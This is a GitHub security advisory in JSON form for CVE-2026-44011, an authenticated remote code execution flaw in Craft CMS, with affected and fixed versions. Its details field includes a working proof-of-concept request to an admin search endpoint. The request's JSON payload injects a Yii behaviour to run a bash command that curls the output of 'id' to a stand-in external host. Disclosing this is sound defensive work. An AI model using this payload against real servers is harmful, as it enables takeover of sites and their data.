CVE-2026-44011: Craftcms/cms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qrgm-p9w5-rrfw",
  "modified" : "2026-05-13T16:29:16Z",
  "published" : "2026-05-06T17:54:06Z",
  "aliases" : [ "CVE-2026-44011" ],
  "summary" : "Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior",
  "details" : "We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server.  Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.\n\nThis is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.\n\nThe request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.\n\nThis appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.\n\nWe were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:\n\n ```\nPOST /admin/actions/element-search/search HTTP/2\nHost: hostnamehere\nCookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;\nContent-Length: …\nUser-Agent: Mozilla/5.0\nX-Csrf-Token: ...\nAccept: application/json\nContent-Type: application/json\n\n{\n\n  \"elementType\": \"craft\\\\elements\\\\Category\",\n  \"siteId\": 1,\n  \"search\": \"\",\n  \"condition\": {\n    \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"fieldLayouts\": [\n      {\n        \"as rce\": {\n          \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n          \"__construct()\": [\n            {\n              \"attributeTypes\": {\n                \"typecastBeforeSave\": [\n                  \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                  \"execute\"\n                ]\n              },\n              \"typecastBeforeSave\": \"/bin/bash -c \\\"curl [https://yourcollaboratorservergoeshere/`id`\\](https://yourcollaboratorservergoeshere/%60id%60/)\"\"\n            }\n          ]\n        },\n        \"on *\": \"self::beforeSave\"\n      }\n    ]\n  }\n}\n```\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.17.12"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.9.18"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44011"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-470", "CWE-479" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T17:54:06Z",
    "nvd_published_at" : "2026-05-12T21:16:15Z"
  }
}